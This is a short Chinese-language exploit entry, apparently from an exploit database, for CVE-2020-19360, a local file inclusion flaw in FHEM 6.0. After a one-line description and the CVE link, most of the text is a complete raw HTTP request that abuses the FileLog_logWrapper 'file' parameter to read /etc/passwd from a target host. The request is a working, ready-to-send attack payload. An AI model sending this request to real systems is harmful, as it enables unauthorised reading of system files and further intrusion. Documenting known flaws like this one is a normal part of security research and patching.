FHEM 6.0 中的 LFI 漏洞允许攻击者包含文件,可能导致敏感信息泄露。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-19360
要利用该漏洞,攻击者可以使用 'http://[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text' 请求,通过更改 "file" 参数从目标获取一些信息。
GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: 172.16.155.129:8083
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

